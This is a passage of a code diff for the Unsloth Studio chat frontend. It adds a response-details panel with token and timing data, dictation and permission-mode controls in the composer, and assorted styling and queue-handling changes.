+    usage?.promptTokens ?? asNumber(serverTimings?.prompt_n);
+  const completionTokens =
+    usage?.completionTokens ??
+    timing?.tokenCount ??
+    asNumber(serverTimings?.predicted_n);
+  const totalTokens =
+    usage?.totalTokens ??
+    (promptTokens != null && completionTokens != null
+      ? promptTokens + completionTokens
+      : undefined);
+  const totalTime =
+    responseDetails?.durationMs ?? timing?.totalStreamTime ?? undefined;
+  const summaryLabel =
+    modelLabel === "Not recorded" ? "Model not recorded" : `Used ${modelLabel}`;
+  const messageToolCalls = toolCallsFromContent(message.content);
+  const toolCalls =
+    responseDetails?.toolCalls && responseDetails.toolCalls.length > 0
+      ? responseDetails.toolCalls
+      : messageToolCalls;
+
+  return (
+    <Sheet open={open} onOpenChange={onOpenChange}>
+      <SheetContent
+        side="right"
+        className="w-[min(28rem,100vw)] p-0 sm:max-w-[28rem]"
+      >
+        <SheetHeader className="border-b p-4">
+          <SheetTitle className="flex items-center gap-2 pr-10 font-heading text-base">
+            <HugeiconsIcon
+              icon={HelpCircleIcon}
+              strokeWidth={1.75}
+              className="size-icon text-chat-icon-fg"
+            />
+            Response details
+          </SheetTitle>
+          <SheetDescription className="sr-only">
+            Timing, model, token, and tool details for this response.
+          </SheetDescription>
+        </SheetHeader>
+
+        <div className="flex min-h-0 flex-1 flex-col gap-4 overflow-y-auto p-4">
+          <div className="min-w-0 rounded-md border border-border/70 bg-card p-3">
+            <p className="min-w-0 break-words font-heading text-foreground text-sm">
+              {summaryLabel}
+            </p>
+            {providerLabel ? (
+              <p className="mt-1 min-w-0 break-words text-muted-foreground text-xs">
+                {providerLabel}
+              </p>
+            ) : null}
+          </div>
+
+          <DetailSection title="Response">
+            <DetailRow label="Model" value={modelLabel} />
+            <DetailRow
+              label="Requested"
+              value={
+                responseDetails?.modelId &&
+                responseDetails.modelId !== responseDetails.responseModelId
+                  ? responseDetails.modelId
+                  : null
+              }
+            />
+            <DetailRow label="Provider" value={providerLabel} />
+            <DetailRow label="Message ID" value={message.id} mono={true} />
+            <DetailRow label="Created" value={formatDate(message.createdAt)} />
+            <DetailRow
+              label="Started"
+              value={formatDate(responseDetails?.startedAt)}
+            />
+            <DetailRow
+              label="Finished"
+              value={formatDate(responseDetails?.finishedAt)}
+            />
+          </DetailSection>
+
+          <DetailSection title="Tokens">
+            <DetailRow label="Prompt" value={formatNumber(promptTokens)} mono />
+            <DetailRow
+              label="Output"
+              value={formatNumber(completionTokens)}
+              mono
+            />
+            <DetailRow label="Total" value={formatNumber(totalTokens)} mono />
+            <DetailRow
+              label="Cache hits"
+              value={formatNumber(
+                usage?.cachedTokens ?? asNumber(serverTimings?.cache_n),
+              )}
+              mono
+            />
+            <DetailRow
+              label="Cache writes"
+              value={formatNumber(usage?.cacheWriteTokens)}
+              mono
+            />
+          </DetailSection>
+
+          <DetailSection title="Timing">
+            <DetailRow label="Total" value={formatMs(totalTime)} mono />
+            <DetailRow
+              label="First token"
+              value={formatMs(timing?.firstTokenTime)}
+              mono
+            />
+            <DetailRow
+              label="Prompt eval"
+              value={formatMs(asNumber(serverTimings?.prompt_ms))}
+              mono
+            />
+            <DetailRow
+              label="Generation"
+              value={formatMs(asNumber(serverTimings?.predicted_ms))}
+              mono
+            />
+            <DetailRow
+              label="Speed"
+              value={formatRate(
+                asNumber(serverTimings?.predicted_per_second) ??
+                  timing?.tokensPerSecond,
+              )}
+              mono
+            />
+            <DetailRow
+              label="Chunks"
+              value={formatNumber(timing?.totalChunks)}
+              mono
+            />
+            <DetailRow
+              label="Tool calls"
+              value={formatNumber(timing?.toolCallCount)}
+              mono
+            />
+          </DetailSection>
+
+          <DetailSection title="Tools">
+            <DetailRow
+              label="Enabled"
+              value={enabledTools(responseDetails?.tools, toolCalls)}
+            />
+            <DetailRow label="Called" value={calledTools(toolCalls)} />
+            <DetailRow
+              label="Confirmation"
+              value={
+                responseDetails?.tools?.confirmToolCalls === true
+                  ? "On"
+                  : responseDetails?.tools?.confirmToolCalls === false
+                    ? "Off"
+                    : null
+              }
+            />
+            <DetailRow
+              label="Bypass"
+              value={
+                responseDetails?.tools?.bypassPermissions === true
+                  ? "On"
+                  : responseDetails?.tools?.bypassPermissions === false
+                    ? "Off"
+                    : null
+              }
+            />
+            <DetailRow label="Session" value={responseDetails?.sessionId} mono />
+            <DetailRow label="Run ID" value={responseDetails?.cancelId} mono />
+          </DetailSection>
+        </div>
+      </SheetContent>
+    </Sheet>
+  );
+};
diff --git a/studio/frontend/src/components/assistant-ui/message-timing.tsx b/studio/frontend/src/components/assistant-ui/message-timing.tsx
index 8d40f587ad..e0a111820b 100644
--- a/studio/frontend/src/components/assistant-ui/message-timing.tsx
+++ b/studio/frontend/src/components/assistant-ui/message-timing.tsx
@@ -86,7 +86,7 @@ export const MessageTiming: FC<{
           data-slot="message-timing-trigger"
           aria-label="Message timing"
           className={cn(
-            "flex items-center rounded-[10px] p-1 font-mono text-chat-icon-fg text-[13px] tabular-nums transition-colors hover:bg-chat-icon-bg-hover hover:text-chat-icon-fg-hover",
+            "flex items-center rounded-[10px] p-1 font-mono text-chat-icon-fg text-ui-13 tabular-nums transition-colors hover:bg-chat-icon-bg-hover hover:text-chat-icon-fg-hover",
             className,
           )}
         >
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/remembered-load-settings.ts b/studio/frontend/src/components/assistant-ui/model-selector/remembered-load-settings.ts
deleted file mode 100644
index ec75b17f20..0000000000
--- a/studio/frontend/src/components/assistant-ui/model-selector/remembered-load-settings.ts
+++ /dev/null
@@ -1,69 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0-only
-// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-// Per-model pre-load inference settings, persisted in localStorage so the load
-// dialog can offer "Remember settings for <model>".
-
-const KEY = "unsloth_load_settings";
-
-export interface RememberedLoadSettings {
-  contextLength: number | null;
-  kvCacheDtype: string | null;
-  speculativeType: string | null;
-  specDraftNMax: number | null;
-  tensorParallel: boolean;
-}
-
-// Storage key for a pick's remembered settings. The remembered knobs are
-// VRAM-budget driven (context override, KV-cache dtype, tensor-parallel), so the
-// right values differ per quant. An HF repo collapses all its GGUF variants into
-// one `id`, so fold the variant in to scope settings per quant. Local .gguf
-// paths key by their file path (already file-specific); native drag-drop files
-// key by display label, so same-named files in different folders share an entry.
-export function rememberedLoadSettingsKey(selection: {
-  id: string;
-  ggufVariant?: string | null;
-}): string {
-  return selection.ggufVariant
-    ? `${selection.id}::${selection.ggufVariant}`
-    : selection.id;
-}
-
-function readAll(): Record<string, RememberedLoadSettings> {
-  try {
-    return JSON.parse(localStorage.getItem(KEY) ?? "{}");
-  } catch {
-    return {};
-  }
-}
-
-function writeAll(all: Record<string, RememberedLoadSettings>) {
-  try {
-    localStorage.setItem(KEY, JSON.stringify(all));
-  } catch {
-    // Ignore quota / unavailable storage.
-  }
-}
-
-export function loadRememberedLoadSettings(
-  key: string,
-): RememberedLoadSettings | null {
-  return readAll()[key] ?? null;
-}
-
-export function saveRememberedLoadSettings(
-  key: string,
-  settings: RememberedLoadSettings,
-) {
-  const all = readAll();
-  all[key] = settings;
-  writeAll(all);
-}
-
-export function clearRememberedLoadSettings(key: string) {
-  const all = readAll();
-  if (key in all) {
-    delete all[key];
-    writeAll(all);
-  }
-}
diff --git a/studio/frontend/src/components/assistant-ui/reasoning.tsx b/studio/frontend/src/components/assistant-ui/reasoning.tsx
index c5b53577cb..97891e9358 100644
--- a/studio/frontend/src/components/assistant-ui/reasoning.tsx
+++ b/studio/frontend/src/components/assistant-ui/reasoning.tsx
@@ -163,7 +163,7 @@ function ReasoningContent({
     <CollapsibleContent
       data-slot="reasoning-content"
       className={cn(
-        "aui-reasoning-content relative overflow-hidden text-foreground/85 text-[13.5px] outline-none",
+        "aui-reasoning-content relative overflow-hidden text-foreground/85 text-ui-13p5 outline-none",
         "group/collapsible-content ease-out",
         "data-[state=closed]:animate-collapsible-up",
         "data-[state=open]:animate-collapsible-down",
@@ -390,7 +390,7 @@ const ReasoningGroupImpl: ReasoningGroupComponent = ({
       onOpenChange={handleOpenChange}
       variant={variant}
     >
-      <div className="flex items-center gap-2">
+      <div className="flex min-w-0 items-center gap-2">
         <ReasoningTrigger
           className="min-w-0 flex-1"
           active={isReasoningStreaming}
diff --git a/studio/frontend/src/components/assistant-ui/sources.tsx b/studio/frontend/src/components/assistant-ui/sources.tsx
index 7e5b52f7d0..3a7bf14e45 100644
--- a/studio/frontend/src/components/assistant-ui/sources.tsx
+++ b/studio/frontend/src/components/assistant-ui/sources.tsx
@@ -52,7 +52,7 @@ function SourceIcon({
       <span
         data-slot="source-icon-fallback"
         className={cn(
-          `flex ${sizeClass} shrink-0 items-center justify-center rounded-sm bg-muted font-medium text-[10px]`,
+          `flex ${sizeClass} shrink-0 items-center justify-center rounded-sm bg-muted font-medium text-ui-10`,
           className,
         )}
         {...props}
@@ -104,7 +104,7 @@ function Source({
       variant={variant}
       size={size}
       className={cn(
-        "rounded-full cursor-pointer outline-none hover:bg-chat-icon-bg-hover! hover:text-chat-icon-fg-hover! focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50",
+        "rounded-full cursor-pointer outline-none hover:bg-chat-icon-bg-hover! hover:text-chat-icon-fg-hover! focus-visible:border-ring",
         className,
       )}
     >
diff --git a/studio/frontend/src/components/assistant-ui/thread.tsx b/studio/frontend/src/components/assistant-ui/thread.tsx
index 7fe98b701f..43a0c43950 100644
--- a/studio/frontend/src/components/assistant-ui/thread.tsx
+++ b/studio/frontend/src/components/assistant-ui/thread.tsx
@@ -12,6 +12,10 @@ import {
 import { downloadImagePart } from "@/components/assistant-ui/image";
 import { MarkdownText } from "@/components/assistant-ui/markdown-text";
 import { MessageHtmlArtifacts } from "@/components/assistant-ui/message-html-artifacts";
+import {
+  MessageResponseDetailsSheet,
+  MessageResponseModelBadge,
+} from "@/components/assistant-ui/message-response-details-sheet";
 import { MessageTiming } from "@/components/assistant-ui/message-timing";
 import { Reasoning, ReasoningGroup } from "@/components/assistant-ui/reasoning";
 import { RagSourcesGroup } from "@/components/assistant-ui/rag-sources";
@@ -30,6 +34,11 @@ import { RenderHtmlToolUI } from "@/components/assistant-ui/tool-ui-render-html"
 import { PythonToolUI } from "@/components/assistant-ui/tool-ui-python";
 import { TerminalToolUI } from "@/components/assistant-ui/tool-ui-terminal";
 import { WebSearchToolUI } from "@/components/assistant-ui/tool-ui-web-search";
+import { ChatDictationBar } from "@/components/assistant-ui/chat-dictation-bar";
+import {
+  isStudioDictationAvailable,
+  notifyStudioDictationUnavailable,
+} from "@/features/chat";
 import { TooltipIconButton } from "@/components/assistant-ui/tooltip-icon-button";
 import {
   IntentAwareScrollProvider,
@@ -75,6 +84,7 @@ import { McpComposerButton } from "@/features/chat/mcp-composer-button";
 import { getExternalReasoningCapabilities } from "@/features/chat/provider-capabilities";
 import { useRagToolDisabled } from "@/features/chat/hooks/use-rag-tool-disabled";
 import { BypassPermissionsMenuItem } from "@/features/chat/bypass-permissions-menu-item";
+import { PermissionModeComposerPill } from "@/features/chat/permission-mode-select";
 import { useChatRuntimeStore } from "@/features/chat/stores/chat-runtime-store";
 import { useExternalProvidersStore } from "@/features/chat/stores/external-providers-store";
 import { PROMPT_QUEUE_STOP_EVENT } from "@/features/chat/utils/prompt-queue-boundary";
@@ -92,9 +102,12 @@ import { ThreadDocumentsBar } from "@/features/rag/components/thread-documents-b
 import { KnowledgeBaseComposerButton } from "@/features/rag/components/knowledge-base-composer-button";
 import { DocumentPreviewMount } from "@/features/rag/components/document-preview-mount";
 import { useUserProfileStore } from "@/features/profile/stores/user-profile-store";
+import { useVoiceSettingsStore } from "@/features/settings/stores/voice-settings-store";
 import { applyQwenThinkingParams } from "@/features/chat/utils/qwen-params";
 import { isTauri } from "@/lib/api-base";
 import { copyToClipboard } from "@/lib/copy-to-clipboard";
+import { MicIcon } from "@/lib/mic-icon";
+import { downloadFile, isDownloadCancelled } from "@/lib/native-files";
 import { toast } from "@/lib/toast";
 import { Tick02Icon } from "@/lib/tick-icon";
 import { cn } from "@/lib/utils";
@@ -123,10 +136,10 @@ import {
   FileDatabaseIcon,
   Folder01Icon,
   FolderAddIcon,
+  HelpCircleIcon,
   Image03Icon,
   McpServerIcon,
   PencilRulerIcon,
-  ShieldBanIcon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useNavigate } from "@tanstack/react-router";
@@ -145,6 +158,8 @@ import {
   RefreshCwIcon,
   SquareIcon,
   TerminalIcon,
+  Volume2Icon,
+  VolumeXIcon,
   XIcon,
 } from "lucide-react";
 import {
@@ -166,6 +181,7 @@ import {
 } from "react";
 import { create } from "zustand";
 import { extractTaggedText, updateThreadMessage } from "@/features/chat/utils/update-thread-message";
+import { useIsMobile } from "@/hooks/use-mobile";
 
 // True while a file is dragged anywhere over the chat page, so the composer
 // can show its "Drop files here" affordance.
@@ -1138,7 +1154,7 @@ const GeneratedImageViewportOverlay: FC<{
               Generated image
             </p>
             {overlay.metadata ? (
-              <p className="truncate text-[11px] font-medium text-muted-foreground">
+              <p className="truncate text-ui-11 font-medium text-muted-foreground">
                 {overlay.metadata}
               </p>
             ) : null}
@@ -1212,7 +1228,7 @@ const ThreadComposerDock: FC<{
       <div
         aria-hidden={true}
         className={cn(
-          "absolute inset-x-0 bottom-0 bg-gradient-to-t from-background from-[calc(100%_-_28px)] to-[rgb(from_var(--background)_r_g_b/0)]",
+          "thread-bottom-fade absolute inset-x-0 bottom-0 bg-gradient-to-t from-background from-[calc(100%_-_28px)] to-[rgb(from_var(--background)_r_g_b/0)]",
           queueVisible
             ? "h-32 backdrop-blur-[1px] [mask-image:linear-gradient(to_top,black_0%,black_58%,transparent_100%)]"
             : "top-[10px]",
@@ -1312,11 +1328,14 @@ const ThreadWelcome: FC<{
   const incognito = useChatRuntimeStore((s) => s.incognito);
   const displayName = useUserProfileStore((s) => s.displayName);
   const nickname = useUserProfileStore((s) => s.nickname);
+  const showGreetingSloth = useUserProfileStore((s) => s.showGreetingSloth);
   const [welcome, setWelcome] = useState<Welcome>(DEFAULT_WELCOME);
 
   useEffect(() => {
     // Prefer the nickname; otherwise first name only. Blank falls back to none.
-    const name = nickname.trim() || (displayName.trim().split(/\s+/)[0] ?? "");
+    const raw = nickname.trim() || (displayName.trim().split(/\s+/)[0] ?? "");
+    // Cap very long names so the greeting stays on one line.
+    const name = raw.length > 20 ? `${raw.slice(0, 20)}…` : raw;
     setWelcome(buildWelcome(new Date().getHours(), name));
   }, [displayName, nickname]);
 
@@ -1328,10 +1347,12 @@ const ThreadWelcome: FC<{
         <div className="aui-thread-welcome-message flex w-full flex-col justify-center gap-9 px-4">
           {/* Center the greeting (sloth + title) over the composer. */}
           <div className="flex flex-row items-center justify-center gap-[15px]">
-            <MascotImg
-              src={currentEmojiSrc}
-              className="size-[44px] -translate-y-[2px]"
-            />
+            {showGreetingSloth && (
+              <MascotImg
+                src={currentEmojiSrc}
+                className="size-[44px] -translate-y-[2px]"
+              />
+            )}
             <h1 className="aui-thread-welcome-message-inner unsloth-welcome-title fade-in slide-in-from-bottom-1 animate-in text-3xl tracking-[-0.02em] duration-200">
               {incognito ? "Temporary chat" : welcome.text}
             </h1>
@@ -1355,7 +1376,13 @@ export const ProjectComposer: FC<{
 }> = ({ disabled, placeholder }) => {
   return (
     <GeneratedImageOverlayProvider>
-      <ComposerAnimated disabled={disabled} placeholder={placeholder} />
+      {/* New chat in a project: queuing follow-ups here misbinds the thread,
+          so the queue only runs once the user is inside a chat session. */}
+      <ComposerAnimated
+        disabled={disabled}
+        placeholder={placeholder}
+        disableQueue
+      />
     </GeneratedImageOverlayProvider>
   );
 };
@@ -1365,11 +1392,17 @@ const ComposerAnimated: FC<{
   placeholder?: string;
   threadId?: string | null;
   menuSide?: "top" | "bottom";
-}> = ({ disabled, threadId, menuSide }) => {
+  disableQueue?: boolean;
+}> = ({ disabled, threadId, menuSide, disableQueue }) => {
   return (
     <div className="relative mx-auto min-w-0 w-full max-w-[46rem]">
       <div className="relative z-10 w-full">
-        <Composer disabled={disabled} threadId={threadId} menuSide={menuSide} />
+        <Composer
+          disabled={disabled}
+          threadId={threadId}
+          menuSide={menuSide}
+          disableQueue={disableQueue}
+        />
       </div>
     </div>
   );
@@ -1404,8 +1437,10 @@ const Composer: FC<{
   placeholder?: string;
   threadId?: string | null;
   menuSide?: "top" | "bottom";
-}> = ({ disabled, threadId, menuSide }) => {
+  disableQueue?: boolean;
+}> = ({ disabled, threadId, menuSide, disableQueue }) => {
   const aui = useAui();
+  const isDictating = useAuiState((s) => s.composer.dictation != null);
   const pageDragging = useContext(PageDragContext);
   const { overlay, closeOverlay } = useGeneratedImageOverlay();
   const setImageToolsEnabled = useChatRuntimeStore(
@@ -1420,16 +1455,17 @@ const Composer: FC<{
   const artifactsEnabled = useChatRuntimeStore((s) => s.artifactsEnabled);
   const mcpEnabledForChat = useChatRuntimeStore((s) => s.mcpEnabledForChat);
   const ragEnabled = useChatRuntimeStore((s) => s.ragEnabled);
-  const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
-  // More than 4 pills: collapse to icons only. Search and Code always show;
-  // Images, RAG, Canvas and MCP are conditional.
-  const pillsCompact =
-    2 +
-      (ragEnabled ? 1 : 0) +
-      (supportsBuiltinImageGeneration ? 1 : 0) +
-      (artifactsEnabled ? 1 : 0) +
-      (mcpEnabledForChat ? 1 : 0) >
-    4;
+  // More than 4 pills: collapse to icons only. Search, Code, and permissions
+  // always show; Images, RAG, Canvas and MCP are conditional. Narrow viewports
+  // collapse too: the labelled row is wider than a phone-width composer.
+  const isMobile = useIsMobile();
+  const pillCount =
+    3 +
+    (ragEnabled ? 1 : 0) +
+    (supportsBuiltinImageGeneration ? 1 : 0) +
+    (artifactsEnabled ? 1 : 0) +
+    (mcpEnabledForChat ? 1 : 0);
+  const pillsCompact = isMobile || pillCount > 4;
   const activeThreadId = useChatRuntimeStore((s) => s.activeThreadId);
   const setPendingImageEditReference = useChatRuntimeStore(
     (s) => s.setPendingImageEditReference,
@@ -1540,21 +1576,6 @@ const Composer: FC<{
     const t = setTimeout(() => writeComposerDraft(draftKey, composerText), 300);
     return () => clearTimeout(t);
   }, [composerText, draftKey]);
-  // Two-row layout shows once the input wraps or a tool is on. Tools can
-  // pre-select before a model loads, so an active toggle expands it either way.
-  // Bypass permissions counts too: turning it on should drop the composer into
-  // the two-row layout immediately, same as Search/Code.
-  const composerExpanded =
-    isMultiline ||
-    hasAttachments ||
-    hasPendingAudio ||
-    toolsEnabled ||
-    codeToolsEnabled ||
-    imageToolsEnabled ||
-    ragEnabled ||
-    artifactsEnabled ||
-    mcpEnabledForChat ||
-    bypassPermissions;
   // react-textarea-autosize re-measures only on value change or window resize,
   // not on the width swap from expanding, so it keeps the taller height and
   // leaves a stray blank row. Nudge a resize whenever input width changes.
@@ -1727,6 +1748,11 @@ const Composer: FC<{
 
       if (threadIsRunning || promptQueueActive) {
         event.preventDefault();
+        // Project new-chat composer: never queue, just ask the user to wait.
+        if (disableQueue) {
+          toast.error("Wait for the current response to finish");
+          return;
+        }
         if (!canQueueCurrentPrompt) {
           if (overlay || hasAttachments || hasPendingAudio) {
             toast.error(
@@ -1804,6 +1830,7 @@ const Composer: FC<{
       composerText,
       createPromptQueueTarget,
       disabled,
+      disableQueue,
       hasAttachments,
       hasPendingAudio,
       interceptSend,
@@ -1823,36 +1850,51 @@ const Composer: FC<{
 
   const startQueue = useCallback(
     (items: string[], waitForCurrentRun = threadIsRunning) => {
+      // Saved-prompt Run-list calls this directly, so honour disableQueue here
+      // too: queuing from the project new-chat composer misbinds the thread.
+      if (disableQueue) return;
       startPromptQueue(items, createPromptQueueTarget(), waitForCurrentRun);
     },
-    [createPromptQueueTarget, threadIsRunning],
+    [createPromptQueueTarget, threadIsRunning, disableQueue],
   );
 
   const queueContextValue: PromptQueueCallbacks = { startQueue, stopQueue };
 
   const composerContent = (
     <>
-      <ComposerAttachments />
-      <PendingAudioChip />
-      <ThreadDocumentsBar
-        threadId={referenceThreadId}
-        onIndexingChange={handleIndexingChange}
-      />
-      <ToolStatusDisplay />
+      {!isDictating ? (
+        <>
+          <ComposerAttachments />
+          <PendingAudioChip />
+        </>
+      ) : null}
+      {/* Keep indexing state subscribed while dictating, but hide its chips so
+          the waveform stays the composer's only status indicator. */}
+      <div className={isDictating ? "hidden" : "contents"}>
+        <ThreadDocumentsBar
+          threadId={referenceThreadId}
+          onIndexingChange={handleIndexingChange}
+        />
+      </div>
+      {!isDictating ? <ToolStatusDisplay /> : null}
       <div
         className="unsloth-composer-line"
-        data-expanded={composerExpanded ? "true" : "false"}
+        // The permission pill is always visible, so keep the two-row layout
+        // expanded whenever not dictating; dictation collapses to the bar.
+        data-expanded={!isDictating ? "true" : "false"}
+        data-dictating={isDictating ? "true" : undefined}
       >
         <div
           className="unsloth-composer-left"
           data-pill-compact={pillsCompact ? "true" : undefined}
         >
           <ComposerToolsMenu side={effectiveMenuSide} />
-          {/* Active-mode badge: always visible when bypass is on, even while
-              the pill row is collapsed (returns null when off). */}
-          <BypassPermissionsToggle />
-          {composerExpanded ? (
+          {/* While dictating, show only the "+"; hide the pill and tool toggles
+              so the waveform is the sole status indicator. */}
+          {!isDictating ? (
             <>
+              {/* Permission-level pill: always visible, opens the level dropdown. */}
+              <PermissionModeComposerPill side={effectiveMenuSide} />
               <WebSearchToggle />
               <CodeToolsToggle />
               <ImagesToggle />
@@ -1864,46 +1906,57 @@ const Composer: FC<{
             </>
           ) : null}
         </div>
-        <ComposerPrimitive.Input
-          placeholder={
-            overlay ? "Type your edits for your image" : "Ask anything"
-          }
-          ref={inputRef}
-          className="aui-composer-input unsloth-composer-input"
-          minRows={1}
-          maxRows={12}
-          autoFocus={!disabled}
-          disabled={disabled}
-          aria-label={overlay ? "Image edit instructions" : "Message input"}
-          // dir="auto": browser picks LTR/RTL from the first strong char;
-          // no effect on Latin / CJK / Devanagari.
-          dir="auto"
-          {...inputProps}
-        />
-        <ComposerRightControls
-          disabled={
-            disabled ||
-            !hasSendableContent ||
-            isComposing ||
-            hasPendingAttachments
-          }
-          queueDisabled={!canQueueCurrentPrompt}
-          onQueueClick={() => {
-            const queuedPrompt = composerText.trim();
-            if (queuedPrompt.length === 0) {
-              return;
-            }
-            flushResourcesSync(() => {
-              aui.composer().setText("");
-            });
-            startPromptQueue([queuedPrompt], createPromptQueueTarget(), true);
-          }}
-          onSendClick={interceptSend}
-          onStopClick={stopQueue}
-          pendingSend={pendingSend}
-          menuSide={effectiveMenuSide}
-          queueThreadIds={promptQueueThreadIds}
-        />
+        {isDictating ? (
+          // The recording UI replaces the input and send controls; only the
+          // left plus stays visible alongside it.
+          <ChatDictationBar />
+        ) : (
+          <>
+            <ComposerPrimitive.Input
+              placeholder={
+                overlay ? "Type your edits for your image" : "Ask anything"
+              }
+              ref={inputRef}
+              className="aui-composer-input unsloth-composer-input"
+              minRows={1}
+              maxRows={12}
+              autoFocus={!disabled}
+              disabled={disabled}
+              aria-label={overlay ? "Image edit instructions" : "Message input"}
+              // dir="auto": browser picks LTR/RTL from the first strong char;
+              // no effect on Latin / CJK / Devanagari.
+              dir="auto"
+              {...inputProps}
+            />
+            <ComposerRightControls
+              disabled={
+                disabled ||
+                !hasSendableContent ||
+                isComposing ||
+                hasPendingAttachments
+              }
+              // disableQueue (project new-chat composer) also blocks the queue
+              // button, so a running thread shows Stop instead of Queue.
+              queueDisabled={disableQueue || !canQueueCurrentPrompt}
+              onQueueClick={() => {
+                if (disableQueue) return;
+                const queuedPrompt = composerText.trim();
+                if (queuedPrompt.length === 0) {
+                  return;
+                }
+                flushResourcesSync(() => {
+                  aui.composer().setText("");
+                });
+                startPromptQueue([queuedPrompt], createPromptQueueTarget(), true);
+              }}
+              onSendClick={interceptSend}
+              onStopClick={stopQueue}
+              pendingSend={pendingSend}
+              menuSide={effectiveMenuSide}
+              queueThreadIds={promptQueueThreadIds}
+            />
+          </>
+        )}
       </div>
     </>
   );
@@ -1955,7 +2008,7 @@ function isNativeComposing(event: Event) {
 }
 
 // Fallback timeout for stuck IME composition. With Chrome on Windows against
-// a WSL-hosted Studio (issue #5546), `compositionend` never fires after the
+// a WSL-hosted Unsloth (issue #5546), `compositionend` never fires after the
 // candidate commits, so `composingRef` stays true and Send stays disabled.
 // Every compositionupdate / non-composing input resets the timer; only a true
 // gap-after-commit lets it fire. 2500ms is above a normal candidate-window
@@ -2107,19 +2160,6 @@ function useImeComposerInputHandlers({
   };
 }
 
-// Phosphor microphone. Inlined to avoid a new icon dependency.
-const MicIcon: FC<{ className?: string }> = ({ className }) => (
-  <svg
-    className={className}
-    viewBox="0 0 256 256"
-    fill="currentColor"
-    xmlns="http://www.w3.org/2000/svg"
-    aria-hidden={true}
-  >
-    <path d="M128,176a48.05,48.05,0,0,0,48-48V64a48,48,0,0,0-96,0v64A48.05,48.05,0,0,0,128,176ZM96,64a32,32,0,0,1,64,0v64a32,32,0,0,1-64,0Zm40,143.6V232a8,8,0,0,1-16,0V207.6A80.11,80.11,0,0,1,48,128a8,8,0,0,1,16,0,64,64,0,0,0,128,0,8,8,0,0,1,16,0A80.11,80.11,0,0,1,136,207.6Z" />
-  </svg>
-);
-
 // HugeIcons arrow-down-01 (stroke-standard): straight-line chevron.
 const ArrowDownStandardIcon: FC<{ className?: string }> = ({ className }) => (
   <svg
@@ -2270,6 +2310,7 @@ const ReasoningToggle: FC<{ side?: "top" | "bottom" }> = ({
             type="button"
             disabled={disabled}
             className="unsloth-thinking-pill"
+            data-pill-label="Thinking settings"
             data-active={activeLook ? "true" : "false"}
             aria-label={thinkEffortAriaLabel({
               modelLoaded,
@@ -2279,9 +2320,11 @@ const ReasoningToggle: FC<{ side?: "top" | "bottom" }> = ({
           >
             <ThinkIcon />
             {activeLook ? (
-              <span>{isEffort ? `Thinking · ${effortLabel}` : "Thinking"}</span>
+              <span className="unsloth-thinking-label">
+                {isEffort ? `Thinking · ${effortLabel}` : "Thinking"}
+              </span>
             ) : null}
-            <ArrowDownStandardIcon className="size-[15px]" />
+            <ArrowDownStandardIcon className="unsloth-thinking-caret size-[15px]" />
           </button>
         </DropdownMenuTrigger>
         <DropdownMenuContent
@@ -2313,7 +2356,13 @@ const ReasoningToggle: FC<{ side?: "top" | "bottom" }> = ({
                 </DropdownMenuItem>
               )}
               {effectiveReasoningEffortLevels
-                .filter((level) => level !== "none")
+                // 'none' is a real template level for models like Inkling
+                // (effort 0 = thinking off); show it as a pick unless the
+                // dedicated off item above already covers it.
+                .filter(
+                  (level) =>
+                    level !== "none" || !effectiveSupportsReasoningOff,
+                )
                 .map((level) => (
                   <DropdownMenuItem
                     key={level}
@@ -2421,6 +2470,7 @@ const ReasoningToggle: FC<{ side?: "top" | "bottom" }> = ({
         }
       }}
       className="unsloth-thinking-pill"
+      data-pill-label="Thinking"
       data-active={activeLook ? "true" : "false"}
       aria-label={thinkToggleAriaLabel({
         reasoningLockedOn,
@@ -2432,7 +2482,9 @@ const ReasoningToggle: FC<{ side?: "top" | "bottom" }> = ({
       <PillGlyph>
         <ThinkIcon />
       </PillGlyph>
-      {activeLook ? <span>Thinking</span> : null}
+      {activeLook ? (
+        <span className="unsloth-thinking-label">Thinking</span>
+      ) : null}
     </button>
   );
 };
@@ -2612,36 +2664,6 @@ const ArtifactsToggle: FC = () => {
   );
 };
 
-// Claude gold pill shown while Bypass permissions is on; click to turn it off.
-// Mirror of shared-composer's badge so both composers surface the state.
-const BypassPermissionsToggle: FC = () => {
-  const bypassPermissions = useChatRuntimeStore((s) => s.bypassPermissions);
-  const setBypassPermissions = useChatRuntimeStore(
-    (s) => s.setBypassPermissions,
-  );
-  if (!bypassPermissions) return null;
-  return (
-    <button
-      type="button"
-      onClick={() => setBypassPermissions(false)}
-      className="composer-pill-btn"
-      data-active="true"
-      data-variant="danger"
-      aria-label="Disable Bypass permissions"
-      title="Bypass permissions is on (no confirmation, no sandbox). Click to turn off."
-    >
-      <PillGlyph>
-        <HugeiconsIcon
-          icon={ShieldBanIcon}
-          strokeWidth={2}
-          className="size-[15px]"
-        />
-      </PillGlyph>
-      <span>Bypass permissions</span>
-    </button>
-  );
-};
-
 const ToolStatusDisplay: FC = () => {
   const toolStatus = useChatRuntimeStore((s) => s.toolStatus);
   const isThreadRunning = useAuiState(({ thread }) => thread.isRunning);
@@ -2725,6 +2747,7 @@ const ComposerToolsMenu: FC<{ side?: "top" | "bottom" }> = ({
   const setCodeToolsEnabled = useChatRuntimeStore((s) => s.setCodeToolsEnabled);
   const artifactsEnabled = useChatRuntimeStore((s) => s.artifactsEnabled);
   const setArtifactsEnabled = useChatRuntimeStore((s) => s.setArtifactsEnabled);
+  const showCanvasMenuItem = useChatRuntimeStore((s) => s.showCanvasMenuItem);
   const mcpEnabledForChat = useChatRuntimeStore((s) => s.mcpEnabledForChat);
   const setMcpEnabledForChat = useChatRuntimeStore(
     (s) => s.setMcpEnabledForChat,
@@ -2945,9 +2968,9 @@ const ComposerToolsMenu: FC<{ side?: "top" | "bottom" }> = ({
           <DropdownMenuItem
             onSelect={() => {
               if (!activeThreadId) return;
-              exportConversationRawJsonl(activeThreadId).catch(() =>
-                toast.error("Export failed."),
-              );
+              exportConversationRawJsonl(activeThreadId).catch((error) => {
+                if (!isDownloadCancelled(error)) toast.error("Export failed.");
+              });
             }}
           >
             Raw JSONL
@@ -2955,9 +2978,9 @@ const ComposerToolsMenu: FC<{ side?: "top" | "bottom" }> = ({
           <DropdownMenuItem
             onSelect={() => {
               if (!activeThreadId) return;
-              exportConversationCsv(activeThreadId).catch(() =>
